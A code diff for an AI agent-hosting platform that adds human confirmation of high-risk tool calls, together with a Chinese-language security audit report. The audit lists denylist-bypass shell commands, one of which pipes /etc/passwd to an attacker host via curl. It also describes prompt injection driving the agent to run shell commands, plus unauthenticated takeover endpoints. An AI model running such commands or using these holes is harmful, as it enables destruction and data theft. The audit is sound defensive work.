+                        "data": {"run_id": run_id, "tool": _tool,
+                                 "reason": _reason, "input": str(_input)[:500]},
+                    })
+                return request_confirmation(run_id, _tool, str(_input), _reason)
+
+            overrides["_confirm_callback"] = _confirm_cb
+
         term = from_config(config_path, **overrides)
         ctx = Context(workspace_path=workspace_path, run_id=run_id)
 
@@ -1675,6 +1823,10 @@ def _execute_agent(config: dict, input_text: str, on_step=None,
             "duration_ms": duration_ms,
             "workspace_path": workspace_path,
             "trace_json": trace_json,
+            # AUDIT_2026-06-11 ②: 结构化 provider 错误(lambdagent Context
+            # 记录的 API 级失败),供 run 边界成败判定优先使用,
+            # 替代对输出文本的正则猜测。
+            "provider_errors": list(getattr(ctx, "provider_errors", []) or []),
         }
 
         # P1-2: Persist updated Core Memory + append Recall log entry

+ 43 - 3
agentpaas/src/agentpaas/api/v1/traces.py

@@ -1,6 +1,7 @@
 """api.v1.traces — Execution trace query."""
 from __future__ import annotations
 import json
+from typing import Optional
 from fastapi import APIRouter, Depends, HTTPException
 from agentpaas.api.deps import get_tenant, get_database
 from agentpaas.api.middleware.auth import TenantContext
@@ -67,11 +68,50 @@ async def get_tool_audit(
     return {"run_id": run_id, "tool_audit": audit}
 
 
+@router.get("/{run_id}/confirm")
+async def get_pending_confirmation(
+    run_id: str,
+    tenant: TenantContext = Depends(get_tenant),
+    db: Database = Depends(get_database),
+):
+    """SEC-12/SEC-30: Query the run's pending HIGH-risk tool confirmation."""
+    run = db.fetchone(
+        "SELECT id FROM runs WHERE id = ? AND tenant_id = ?",
+        (run_id, tenant.tenant_id))
+    if not run:
+        raise HTTPException(404, {"error": {"code": "RUN_NOT_FOUND"}})
+    from agentpaas.engine.confirmations import get_pending
+    pending = get_pending(run_id)
+    return {"run_id": run_id, "pending": pending}
+
+
 @router.post("/{run_id}/confirm")
 async def confirm_tool_call(
     run_id: str,
+    body: Optional[dict] = None,
     tenant: TenantContext = Depends(get_tenant),
+    db: Database = Depends(get_database),
 ):
-    """SEC-12/SEC-30: Confirm a paused HIGH-risk tool call."""
-    # TODO: Wire to actual ToolGateway confirmation mechanism
-    return {"run_id": run_id, "status": "confirmed", "message": "Tool call confirmed (placeholder)"}
+    """SEC-12/SEC-30: Confirm (or deny) a paused HIGH-risk tool call.
+
+    AUDIT_2026-06-11 ③: 接通真实确认机制 —— ToolGateway 的
+    confirm_callback 阻塞在 engine.confirmations 登记处上,这里 resolve。
+    Body: {"approved": true|false},缺省 true(放行)。
+    """
+    run = db.fetchone(
+        "SELECT id FROM runs WHERE id = ? AND tenant_id = ?",
+        (run_id, tenant.tenant_id))
+    if not run:
+        raise HTTPException(404, {"error": {"code": "RUN_NOT_FOUND"}})
+
+    approved = True
+    if isinstance(body, dict) and "approved" in body:
+        approved = bool(body["approved"])
+
+    from agentpaas.engine.confirmations import resolve
+    if not resolve(run_id, approved):
+        raise HTTPException(
+            404, {"error": {"code": "NO_PENDING_CONFIRMATION",
+                            "message": "该 run 当前没有等待确认的工具调用(可能已超时拒绝)"}})
+    return {"run_id": run_id,
+            "status": "confirmed" if approved else "denied"}

+ 49 - 1
agentpaas/src/agentpaas/config.py

@@ -59,7 +59,55 @@ def _load_dotenv(path: str = "") -> None:
     except Exception:
         pass  # never crash startup due to a malformed .env
 
-_load_dotenv()
+# Test isolation: when AGENTPAAS_TESTING is truthy (set by tests/conftest.py),
+# skip loading the developer's machine-level ~/.agentpaas/.env and
+# providers.json. Otherwise their personal PORT/DATA_DIR/API-key settings leak
+# into the test process and make "default value" assertions machine-dependent.
+def is_testing() -> bool:
+    """单一事实来源:AGENTPAAS_TESTING 是否开启。
+
+    只认 1/true/yes(大小写不敏感);"0"/"false"/"" 都视为关闭——
+    修复 app.py 此前 `os.getenv(...)` 真值判断把 "0" 当成开启的歧义。
+    """
+    return os.environ.get("AGENTPAAS_TESTING", "").strip().lower() in ("1", "true", "yes")
+
+_IS_TESTING = is_testing()
+
+if not _IS_TESTING:
+    _load_dotenv()
+
+
+# ── Bootstrap: load ~/.agentpaas/providers.json into os.environ ──────────────
+# The UI "环境配置" page saves keys to providers.json (via POST /providers/{id}).
+# We read it here so those keys survive server restarts.
+# Priority: providers.json OVERRIDES .env (UI-set values are more authoritative).
+_PROVIDER_ENV_KEYS: dict = {
+    "anthropic": "ANTHROPIC_API_KEY",
+    "dashscope": "DASHSCOPE_API_KEY",
+    "deepseek":  "DEEPSEEK_API_KEY",
+    "openai":    "OPENAI_API_KEY",
+    "zhipu":     "ZHIPU_API_KEY",
+    "moonshot":  "MOONSHOT_API_KEY",
+}
+
+def _load_providers_json(path: str = "") -> None:
+    json_path = path or os.path.join(os.path.expanduser("~"), ".agentpaas", "providers.json")
+    try:
+        import json as _json
+        with open(json_path) as _f:
+            _data = _json.load(_f)
+        for _pid, _entry in _data.items():
+            _env_key = _PROVIDER_ENV_KEYS.get(_pid, "")
+            _api_key = (_entry or {}).get("api_key", "")
+            if _env_key and _api_key:
+                os.environ[_env_key] = _api_key  # override .env — UI setting wins
+    except FileNotFoundError:
+        pass
+    except Exception:
+        pass
+
+if not _IS_TESTING:
+    _load_providers_json()
 
 
 def _data_dir_from_config_json() -> str:

+ 78 - 0
agentpaas/src/agentpaas/engine/confirmations.py

@@ -0,0 +1,78 @@
+"""
+agentpaas.engine.confirmations — HIGH-risk 工具调用的人工确认登记处。
+
+SEC-12/SEC-30 闭环(AUDIT_2026-06-11 ③):lambdagent ToolGateway 在
+highRiskConfirmation=true 时对 HIGH 风险工具调用产生 Action.CONFIRM,
+并调用 policy.confirm_callback(tool, input, reason) -> bool 决定放行。
+
+这里提供宿主侧实现:agent 执行线程调用 request_confirmation() 登记
+待确认项并阻塞等待;用户通过 POST /api/v1/traces/{run_id}/confirm
+(traces.py)调用 resolve() 放行或拒绝。超时(默认 5 分钟)按拒绝处理
+—— 与 ToolGateway 的 fail-closed 语义一致。
+
+每个 run 同一时刻最多一个待确认项(agent 线程在等待期间是阻塞的)。
+"""
+from __future__ import annotations
+
+import threading
+import time
+from typing import Any, Dict, Optional
+
+_lock = threading.Lock()
+_pending: Dict[str, Dict[str, Any]] = {}  # run_id -> entry
+
+DEFAULT_TIMEOUT_S = 300  # 5 分钟无人确认 → 拒绝
+
+
+def request_confirmation(run_id: str, tool_name: str, input_str: str,
+                         reason: str, timeout_s: float = DEFAULT_TIMEOUT_S) -> bool:
+    """登记一个待确认项并阻塞等待用户决定。
+
+    Returns True 放行 / False 拒绝(含超时、run_id 缺失)。
+    在 agent 执行线程内调用,绝不抛异常。
+    """
+    if not run_id:
+        return False  # 无 run 上下文无法路由确认 → fail-closed
+    event = threading.Event()
+    entry: Dict[str, Any] = {
+        "tool": tool_name,
+        "input": str(input_str)[:2000],
+        "reason": reason,
+        "event": event,
+        "decision": None,
+        "requested_at": time.time(),
+    }
+    with _lock:
+        _pending[run_id] = entry
+    try:
+        event.wait(timeout_s)
+    finally:
+        with _lock:
+            if _pending.get(run_id) is entry:
+                del _pending[run_id]
+    return bool(entry["decision"])
+
+
+def resolve(run_id: str, approved: bool) -> bool:
+    """用户对 run 的待确认项做出决定。Returns False 表示没有待确认项。"""
+    with _lock:
+        entry = _pending.get(run_id)
+    if not entry:
+        return False
+    entry["decision"] = bool(approved)
+    entry["event"].set()
+    return True
+
+
+def get_pending(run_id: str) -> Optional[Dict[str, Any]]:
+    """查询 run 当前的待确认项(无则 None)。不含内部 event 对象。"""
+    with _lock:
+        entry = _pending.get(run_id)
+    if not entry:
+        return None
+    return {
+        "tool": entry["tool"],
+        "input": entry["input"],
+        "reason": entry["reason"],
+        "requested_at": entry["requested_at"],
+    }

+ 756 - 0
docs/AUDIT_2026-06-05.md

@@ -0,0 +1,756 @@
+# 项目审计 — 2026-06-05
+
+## 执行摘要
+
+- **整体健康度:黄色,安全边界偏红。** lambdagent kernel 以及 Phase 1/2 P0/P1 的工作(CEK、cost vector、instance 机制)经得起审视——bug 集中在 **PaaS 层的边缘**(auth、多 tenant、打包)以及未获得与 core 同等工程严谨度的 **example agent 代码**。
+- **7 个 critical 发现,3 个类别。** (1) 两个无 auth 的接管接口(`POST /api/v1/setup/bootstrap`、`POST /api/v1/feishu/bind`)把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人;(2) `agentexample/agent67/tools/shell_executor.py` 在 `shell=True` 下执行 LLM 产出的字符串,仅用子串匹配 blocklist(轻易绕过)——经由 prompt injection 的 RCE;(3) 发布的 `agentpaas` 包结构上无法构建:`pyproject.toml` 未声明 `lambdagent` 依赖且使用 `where = [".."]`,打出来是空 wheel;外加真实 SiliconFlow/Amap key 离泄漏只差一条 `.gitignore` 规则,躺在 `agentexample/travelagent67/.env`。
+- **架构债真实存在但集中。** 四套并存的 beta-reduction 解释器(Term.apply / async_core monkey-patch / executor isinstance / cek_machine isinstance)解释了 Q2 审计标记的 trace 分裂和 capture-environment 问题。1654 行的 `compiler.py` god module 里塞着一个 474 行的 `_compile_react` 闭包,重复实现了 agentruntime 的 ReAct engine。`agentpaas → lambdagent` 的边界靠在 request handler 里 inline 的 `from lambdagent...` import 维持,还伸手到带下划线的 private 里。
+- **超出 critical 之外的主要安全风险:** dev Docker compose 硬编码了一个公开的 master key(`dev_auto_generated`);rate-limit middleware 对无 auth 流量整段跳过(`if not api_key: return await call_next(request)`);`/analyze/*` 和 `/feishu/*` router 没有 `Depends(get_tenant)`;`rollback_agent` 跳过 RBAC + audit log;agent 到 KB 的链接不做 tenant scope(运行时跨 tenant 读 KB);`/providers/*` 把明文 key 写到全局文件并 process-wide mutate `os.environ`;secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。
+- **tests-vs-product 的差距是 single biggest non-security 风险。** `agents.py` + `knowledge.py` 共 3477 LOC 的 FastAPI route handler **零** 集成测试(`tests/` 下找不到 `TestClient`、`httpx`)。`authenticate()`——包括往 `api_keys.key_hash` 写入的 legacy-hash 自动迁移——没有任何 test。新的 `agents.agent_template` / `instance_dir` DB 列被 test suite 完全没用上,尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。
+- **docs 与 code 正在快速漂移。** README.md 里 Quick-Start 的 Python DSL 例子用了不存在的 `Loop(max_iterations=)` 和 `Memory(strategy=, size=)` kwargs,新用户复制粘贴的第一行就崩;YAML schema 只接受 5 个 `type:` 值,docs 却宣传 11 个;`from-config-spec.md §13.1` 声称支持嵌套 sub-agent 编译,但 `_compile_chain` 静默把 `type: react`/`type: guard` step 的语义降级成无状态 `Lam`。根目录的 `CONTRIBUTING.md` 仍写 MIT,而 `LICENSE` 是 BUSL-1.1。
+
+## 方法学
+
+- **Pipeline:** 12 个 finder 在 6 个维度扇出——code correctness × 4 区域(`lambdagent`、`agentpaas`、`webui`、`agentexample`),architecture × 2(`monorepo`、`internals`),security × 4(CSO 风格:secrets、injection、auth、supply-chain),加上 tests-gaps、docs-accuracy、spec-vs-impl。
+- **对抗式验证:** 每条 finding 由 **3 个独立 verifier agent** 在三个不同视角下复核——correctness(代码是否真的做了所声称的事?)、evidence(引用的片段是否原文、在生产路径上、不是 test/mock/comment?)、impact(真实 user / operator / attacker 是否合理地命中?)。每个 verifier 返回 `real: true|false` 和 `severity_adjusted`。
+- **survival rule:** 只有 **≥2/3 verifier** 投 real 的 finding 才进入这份报告。severity 取三个调整后值的中位数(并列时取更保守的一个)——不是原始 finder 给的 severity。
+- **数字:** finder 提出 100+ 条 → 经过三视角对抗复核后 **确认 84 条**。被丢掉的 16 条要么不可达(finder 误把 dead code 路径当作 live 路径)、要么是无具体 impact 路径的 structural smell、要么是与其他 finding 重根因的重复项。
+
+## 按严重度分组的发现
+
+### 严重 (7)
+
+#### 1. `POST /api/v1/setup/bootstrap` 无 auth 创建 admin tenant
+- **文件:** `agentpaas/api/v1/setup.py:41`
+- **证据:**
+  ```python
+  @router.post("/bootstrap")
+  async def bootstrap():
+      ...
+      db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
+      return {"status": "created", "api_key": key, "tenant_id": tid}
+  ```
+- **影响:** 任何在 operator 跑 setup 之前先到达 server 的无 auth 网络调用方拿到完整 `admin:*` API key。router 在 `app.py:125` 没挂任何 auth dependency;默认 bind 是 `0.0.0.0`。竞态窗口就是 `start.sh` 到第一次正式 setup 调用之间的整段时间。`tenant_exists` 分支只在已经有 tenant 行 *之后* 才生效——对实际暴露窗口毫无用处。
+- **修复:** `/setup/bootstrap` 只 bind 到 loopback;或要求一次性 token,在 server 首次启动时打到 console。
+- **维度:** sec-auth
+
+#### 2. `/feishu/bind` 和 `/feishu/webhook` 既无 auth 也无签名验证——跨 tenant agent 劫持
+- **文件:** `agentpaas/api/v1/feishu.py:53`
+- **证据:**
+  ```python
+  @router.post("/bind")
+  async def feishu_bind(request: Request):
+      data = await request.json()
+      agent_id = data.get("agent_id", "")
+      _runner = make_paas_runner(agent_id)   # module-level singleton!
+      os.environ["FEISHU_AGENT_ID"] = agent_id
+
+  @router.post("/webhook")
+  async def feishu_webhook(request: Request):
+      """加密策略: 不加密(开发阶段)"""
+      body = await request.json()
+      result = await loop.run_in_executor(None, handle_event, body, _get_runner())
+  ```
+- **影响:** 任何人都能 POST 到 `/api/v1/feishu/bind` 带上另一个 tenant 的 `agent_id`,process-wide 地成为那个 agent 的飞书 bot(runner 是 module singleton,`os.environ` mutation 是 process-global)。然后 `/api/v1/feishu/webhook` 接受任意伪造事件、不验 `X-Lark-Signature`、跑 agent 并把 output 返给 attacker。两请求 exploit chain,前提仅为网络可达。
+- **修复:** `/feishu/bind` 要求 admin scope 的 `TenantContext`;限制 `agent_id` 必须属于调用方 tenant;`/feishu/webhook` 验证 `X-Lark-Signature`。
+- **维度:** sec-auth
+
+#### 3. LLM 控制的 shell 命令以 `shell=True` 跑在轻易绕过的 denylist 后
+- **文件:** `agentexample/agent67/tools/shell_executor.py:33`
+- **证据:**
+  ```python
+  result = subprocess.run(
+      cmd, shell=True, capture_output=True, text=True,
+      timeout=30, cwd=os.path.expanduser("~"),
+  )
+  # safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
+  ```
+- **影响:** 子串匹配 denylist 被 `rm  -rf /`(两个空格)、`/bin/rm -rf /`、`python -c "import shutil; shutil.rmtree(...)"`、`find / -delete`、`> ~/.zshrc`、`cat /etc/passwd | curl -d@- attacker` 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。`cwd=$HOME` 把爆炸半径定到用户的 home dir。(一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry,但文件仍然 ship,离 RCE 只差一根 wire。)
+- **修复:** 去掉 `shell=True`;要求 argv list;白名单二进制;或走 `agentpaas/engine/sandbox.py`。
+- **维度:** sec-injection
+
+#### 4. `agentpaas/pyproject.toml` 漏声明 `lambdagent` 依赖,尽管有 17+ 处 import
+- **文件:** `agentpaas/pyproject.toml:10`
+- **证据:**
+  ```toml
+  dependencies = [
+      "fastapi>=0.100.0",
+      "uvicorn[standard]>=0.20.0",
+      "pydantic>=2.0",
+      "pyyaml>=6.0",
+  ]
+  ```
+- **影响:** `agentpaas` 至少在 17 处 import `lambdagent`(`agents.py:1330,1399,1415,1416`、`analyze.py:29,46,47,67,112`、`engine/cache.py:41`、`engine/sandbox.py:207,208`、`launch.py:184` 等),却未声明依赖。clean 环境下 `pip install agentpaas` 装出一个坏掉的包:每个 agent 执行接口首次调用都会抛 `ModuleNotFoundError`。CI commit `874896e` 只修了测试环境。
+- **修复:** 在 `[project.dependencies]` 里加 `lambdagent @ file:../lambdagent`(或发布版本号 pin)。
+- **维度:** arch-monorepo
+
+#### 5. `agentexample/travelagent67/.env` 携带真实 SiliconFlow + Amap API key
+- **文件:** `agentexample/travelagent67/.env:1-2`
+- **证据:**
+  ```
+  AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
+  SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
+  ```
+  *(原文 quote 了两把真实 key 的字面值;为避免审计报告自身成为新的泄漏点,已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)*
+- **影响:** 真实 key(SiliconFlow `sk-` 前缀符合官方 key 格式)落在仓库目录里。当前被 `.gitignore` 挡住(line 134 & 227),`git ls-files` 确认从未被追踪——但 `.gitignore` 是唯一防线。仓库位于 Obsidian Research-Vault 目录里,云同步(iCloud / Obsidian Sync)有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里,必须当作已泄漏并 rotate。
+- **修复:** 立即在 vendor 侧 rotate 两把 key;用占位符替换 `.env`;新增 `.env.example`;加 pre-commit gitleaks hook。
+- **维度:** correctness-examples / sec-secrets
+
+#### 6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试
+- **文件:** `tests/test_agentpaas.py:1`(缺失)
+- **证据:**
+  ```
+  $ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
+  (no matches)
+  ```
+- **影响:** 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、`audit_log` INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 `tenant_id` filter 拼错都会跨 tenant 泄漏数据,而 test 依旧 pass。SEC-04(上一版审计的"API 层未强制 RBAC")在没有 route 层 test 的前提下结构性不可检测。
+- **修复:** 新增 `tests/test_api_*.py`,用 `fastapi.testclient.TestClient` 对接 sqlite-in-memory app fixture;覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。
+- **维度:** tests-gaps
+
+#### 7. `agentexample/agent67/tools/shell_executor.py` —— LLM 控制的 shell 以 `shell=True` 执行
+*(与 #3 重复——保留在原 critical bucket 里,因为三人 verifier 在两轮投票里都落在 critical,并且文件真实 ship。当作同一个 root cause:换掉实现,不要 patch blocklist。)*
+
+---
+
+### 高 (33)
+
+#### 8. `async_executor` 在共享 Context 上 race —— async path 上违反 Paper II Prop 30
+- **文件:** `lambdagent/src/lambdagent/agentruntime/async_executor.py:242`
+- **证据:**
+  ```python
+  tasks = [
+      self.reduce(a, input_val, ctx, cancel.child(), timeout)
+      for a in par.agents
+  ]
+  return tuple(await asyncio.gather(*tasks))
+  ```
+- **影响:** `_reduce_par`(240-246 行)和 `_reduce_pair`(248-254 行)把 **同一个** `ctx` 交给所有并发分支——只 fork 了 cancellation token。`multiagent.py:681` 里的 sync `AsyncPar` 正确地 `forked_ctxs = [ctx.fork() for _ in self.agents]`。并发分支因此从不同 asyncio task 同时 mutate 同一个 `ctx.trace` list 和 `ctx.memory` dict:trace 条目非确定性交错;任何往 `ctx.memory` 写(Memory/SharedMemory 封装)的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。
+- **修复:** 对齐 sync path:`forked = [ctx.fork() for _ in par.agents]`;把 `forked[i]` 传给每个 task;gather 之后 `for f in forked: ctx.merge_trace(f)`。Pair 同理。
+- **维度:** correctness-lambdagent
+
+#### 9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:388`
+- **证据:**
+  ```python
+  try:
+      result = _compiled_cache[_name].apply(task, Context())
+      return str(result)
+  except Exception as e:
+      return f"[SubAgent {_name} error: {e}]"
+  ```
+- **影响:** 每次 sub-agent 调用都被塞了一个全新空 `Context()`,丢掉 parent 的 `workspace_path`、`run_id`、`memory` 和 trace。宽泛的 `except Exception` 还会吞掉 `CancelledRun` 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续,而不是 cancel。
+- **修复:** 用闭包捕获 parent ctx(`_shared_ctx` 已存在);缩小 except,让 `CancelledRun` 透传。
+- **维度:** correctness-lambdagent
+
+#### 10. async handler 用同步 `term.apply()` 阻塞 event loop —— 一个慢 agent 拖死所有其他请求
+- **文件:** `agentpaas/api/v1/agents.py:1467`(原引为 1453)
+- **证据:** `result = term.apply(input_text, ctx)` 在 `def _execute_agent` 内被调用,而该函数来自 `async def run_agent`。`apply` 是同步的(`lambdagent/core.py:208`),所以多步 LLM/tool 执行(秒到分钟级)跑在 FastAPI event loop 线程上。`agentpaas/engine/sandbox.py:211` 的 `async def _exec_inprocess` 里有同样模式。
+- **影响:** 任何一次 in-process agent run 都会冻结整个 FastAPI worker——health check、status poll、cancel 接口全都卡住。无论 asyncio.Semaphore 是多少,单 worker 有效并发是 1。streaming 版本正确用了 daemon 线程;sync `/run` 接口和 in-process sandbox path 没有。
+- **修复:** `await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)`。
+- **维度:** correctness-agentpaas
+
+#### 11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race,写入对方 workspace
+- **文件:** `agentpaas/api/v1/agents.py:1413-1415`
+- **证据:**
+  ```python
+  from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
+  _shell_set_cwd(workspace_path)
+  ```
+  作者明确的注释:*"This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."*
+- **影响:** 两个重叠的 `/run` 调用:run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 `cycle_N` 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修;与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。
+- **修复:** 每 asyncio task 用 `contextvars.ContextVar`,或在每次 Bash tool 调用里把 cwd 显式穿过去。
+- **维度:** correctness-agentpaas
+
+#### 12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2,无 per-secret salt
+- **文件:** `agentpaas/secrets/vault.py:11`
+- **证据:**
+  ```python
+  def _derive_key(master_key: str) -> bytes:
+      return hashlib.sha256(master_key.encode()).digest()
+  ```
+- **影响:** 每个 secret 都用 `sha256(master_key)` 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏,每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256(非 memory-hard)暴力破解成本极低。
+- **修复:** `scrypt` 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt;理想是 per-tenant HKDF。
+- **维度:** correctness-agentpaas
+
+#### 13. 共享单一 SQLite 连接(`check_same_thread=False`)+ 全局 singleton,被并发 async handler 共用
+- **文件:** `agentpaas/db/models.py:35`
+- **证据:**
+  ```python
+  self.conn = sqlite3.connect(db_path, check_same_thread=False)
+  ```
+  外加 `agentpaas/db/session.py:5` 的 `_db: Database = None` 被 `get_db()` 返给每个请求。
+- **影响:** 每个 request、SSE stream、background worker(`_run_index_job` 线程在 `knowledge.py:909,938,1296,1319`)、agent-run 线程(`agents.py:791`)共用一个 `sqlite3.Connection`。cursor 状态、事务、`commit()` 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。
+- **修复:** per-request 连接通过 FastAPI dependency,或换 SQLAlchemy engine 加 pool。
+- **维度:** correctness-agentpaas
+
+#### 14. `rollback_agent` 缺 RBAC 检查、缺 audit log,跨 tenant 调用静默 200-OK
+- **文件:** `agentpaas/api/v1/agents.py:272-292`
+- **证据:** 没有 `require_permission(tenant, "agents:write")`;version SELECT 缺 `tenant_id` filter;UPDATE 的 `tenant_id = ?` 失败时静默 0 行变更但接口仍返回 `"Rolled back"`;没有 `_audit_log` 调用。对照 `update_agent`(line 207-208)和 `delete_agent`(line 262-263),它们两项都做了。
+- **影响:** 任意已认证用户(甚至只读 key)都能调 rollback;可以通过 404-vs-200 枚举其他 tenant 的 version 号;静默失败掩盖入侵;缺 audit trail。
+- **修复:** 加 `require_permission` + `_audit_log`;version SELECT 加 `AND tenant_id = ?`;检查 `cursor.rowcount`。
+- **维度:** correctness-agentpaas
+
+#### 15. `Chat.tsx` 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess
+- **文件:** `webui/src/pages/Chat.tsx:862`(sendMessage cleanup)以及缺失的 unmount effect
+- **证据:** 没有 `useEffect(() => () => abortRef.current?.(), [])`。657-661 行的 inline 注释明确说没有 `/cancel` POST 时 *"the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead."* 然而页面导航从不触发那个 POST。
+- **影响:** 流式中点回 /agents → 后端 run 泄漏,SSE reader 继续在已 unmount 的 component 上 `setMessages`。付费 Claude backend 上这是每次随手返回直接烧钱,chat header 的回退按钮就能触发。
+- **修复:** 给 Chat() 加 `useEffect(() => () => { abortRef.current?.() }, [])`,让导航触发 Stop 逻辑。
+- **维度:** correctness-webui
+
+#### 16. `qaagent67lambda` template 到处硬编码 `/home/67/knowledge/finance` —— fresh clone 完全跑不起来
+- **文件:** `agentexample/qaagent67lambda/agent-config.yml:179`
+- **证据:** 13 个 path key 硬编码 `/home/67/knowledge/finance`(line 179-185、218、223、247-253)。`scripts/deploy_domain.sh:43` 是 `KNOW_DIR="/home/67/knowledge/$DOMAIN"`,`docker run -v /home/67:/home/67`。连号称便携性逃生口的 `scripts/instance.yml.template:14-24` 也硬编码 `/home/67/`。
+- **影响:** 在 macOS 或 Windows 上 clone 的用户不重写每条 path 就跑不起来这个 template。template-instance 机制并没有像设计那样解决便携性。
+- **修复:** 替换为 `${KNOWLEDGE_ROOT:-./knowledge}/<domain>`,让 instance.yml 提供具体路径。
+- **维度:** correctness-examples
+
+#### 17. `qaagent67lambda` 用 `pickle.load` 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE
+- **文件:** `agentexample/qaagent67lambda/scripts/search_engine.py:52`
+- **证据:** `search_engine.py:52,54`、`search_engine_v2.py:95`、`build_vector_index.py:87` 全都 `pickle.load(...)` `agent-config.yml` 里引用的文件(`vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl`)。
+- **影响:** pickle 反序列化是无限制 code execution。`deploy_domain.sh` 把 `/home/67:/home/67` bind-mount 进去,并指导 operator 从外部源把 `.pkl` 落进共享目录。任何能往 knowledge 目录写 `.pkl` 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。
+- **修复:** metadata 改成 JSON 或 numpy `.npz`;pickle 走 `--unsafe-pickle` + HMAC 闸门。
+- **维度:** correctness-examples
+
+#### 18. `agentpaas` 包布局用 `where = [".."]` 把自己 pin 到了自己目录之外
+- **文件:** `agentpaas/pyproject.toml:22-26`
+- **证据:**
+  ```toml
+  [tool.setuptools.package-dir]
+  agentpaas = "."
+  [tool.setuptools.packages]
+  find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
+  ```
+- **影响:** 实测复现:从 `agentpaas/` 跑 `python -m build --sdist`,再 `pip install` 那个 tarball,得到的 wheel **只有 metadata**(5 个文件,1.2KB)——零源码。装完之后 `import agentpaas` 会失败。CI commit `874896e` 之所以被需要正是这个原因。**这个包今天作为可发布 wheel 是 unbuildable 的。**
+- **修复:** 切换到 src-layout(`agentpaas/src/agentpaas/`)像 lambdagent 那样;或用 `where = ["."]` 配自包含的 `package-dir`。
+- **维度:** arch-monorepo
+
+#### 19. Compiler(Layer 4)伸手抓 Runtime(Layer 5)的 ReAct event 类型
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:845`
+- **证据:** `from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK` 在 `_compile_react` 的闭包里被构造(在 988、1000、1026 重复出现;外加 line 766 的 `agentruntime.cancel` import)。
+- **影响:** SPEC 的 5 层模型把 Compiler 放在 Runtime 之下:Compiler emit Term,Runtime interpret Term。这里 compiler 同步构造并 dispatch runtime-specific 事件,让产出的 term 不再 interpreter-agnostic,制造了循环层对。
+- **修复:** 定义 runtime-中立的 `core.events.StepEvent` protocol;compiler 和 react_engine 都从那里 import。
+- **维度:** arch-internals
+
+#### 20. beta-reduction 被四套并行解释(Term.apply、async_core monkey-patch、executor、cek_machine)
+- **文件:** `lambdagent/src/lambdagent/__init__.py:117`(import-time monkey-patch 钩子)
+- **证据:** 四套实现并存:(a) 每个 Term 类上的 OOP `apply()`、(b) `async_core.py` 在 import 时给 14 个 Term 子类 monkey-patch `aapply`、(c) `agentruntime/executor.py:49` 11 分支 isinstance dispatch、(d) `cek_machine.py:465-601` 8+ 分支 isinstance。
+- **影响:** 每个构造子的语义编码在 4 个地方。加新构造子或改一条规则要改 4 个不相关文件。Q2 audit 的 BUG-04(CEK 丢失 captured environment)和 BUG-01(Context.fork 浅拷贝)是这些实现漂移的直接症状。import-time monkey-patching 破坏 test 依赖的 closed-world 假设。
+- **修复:** 选一种 strategy(CEK 最 principled),其余降级为薄 adapter。monkey-patching 换成普通 class method。
+- **维度:** arch-internals
+
+#### 21. `compiler.py` 是 1654 行的 god module,里面有个 474 行的 `_compile_react` 闭包
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:627`
+- **证据:** `_compile_react` 跨 627-1109 行,在一个闭包里做:ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测,以及对 12 个其他包的 lazy import。重复了 `agentruntime/react_engine.py` 的 loop 逻辑(319 行)。
+- **影响:** "改 ReAct loop" 和 "改 YAML 怎么编译" 被强行变成同一个 edit。两套 ReAct loop 各自维护独立 trace——Q2 audit BUG-06(trace 三路分叉)的 root cause。未提交 diff 显示它至今还在这里被持续 patch,没回流上游。
+- **修复:** 把 `_compile_react` 闭包抽成 `agentruntime/react_loop.py` 里的一个真正的 class。把 `_inject_resistant_prompt`、`_compress_state`、`_extract_tool_call` 拉到 `fromconfig/prompts.py`。
